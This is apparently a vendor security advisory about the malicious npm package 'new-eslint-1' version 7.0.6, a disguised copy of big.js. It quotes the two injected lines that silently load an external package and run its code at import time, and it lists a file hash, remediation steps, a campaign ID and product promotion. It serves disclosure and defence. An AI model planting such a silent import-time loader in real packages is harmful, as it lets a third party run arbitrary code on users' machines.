Which versions of new-eslint-1 are malicious?

The following npm versions of new-eslint-1 are flagged malicious: 7.0.6. Treat any of these as compromised.

How do I remediate new-eslint-1 if I installed it?

Remove new-eslint-1 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is new-eslint-1 part of a known attack campaign?

Yes — new-eslint-1 is associated with the IN-MAL-2026-007068 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect new-eslint-1 in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking new-eslint-1 and packages like it before any post-install script runs.

Malicious package

new-eslint-1npm

Malicious code in new-eslint-1 (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6225

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall new-eslint-1

What this malware does

Package is published as 'new-eslint-1' but its package.json description, README, repository URL (MikeMcl/big.js), and source are a verbatim copy of big.js v7.0.1 — there is no ESLint functionality. Two lines have been injected at module top level in both big.js and big.mjs (lines 605-606): const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });. Because package.json declares "main": "big.js", any require('new-eslint-1') synchronously loads the external ts-eslint-helper package and invokes helper.from_str() in the consumer's Node process, with errors silently swallowed. The required module name (ts-eslint-helper) does not match the only declared dependency ([email protected]), so the loader is designed to fire when ts-eslint-helper resolves transitively or via a sibling install in a monorepo / polluted registry — and to fail silently otherwise, hiding the attempt from observers. This combines namespace deception (eslint-themed name + big.js disguise) with import-time arbitrary code execution under the control of whoever publishes ts-eslint-helper.

Malicious versions

1 flagged

7.0.6

Indicators of compromise (SHA-256)

7752e7f074edbf8521da2ee0b7c68c28a2f76d86576138df8f18e08aaa3a5c38

Frequently asked questions

No. new-eslint-1 on npm has been identified as a malicious package (version 7.0.6 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007068

References

npmjs.com

Credits

Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection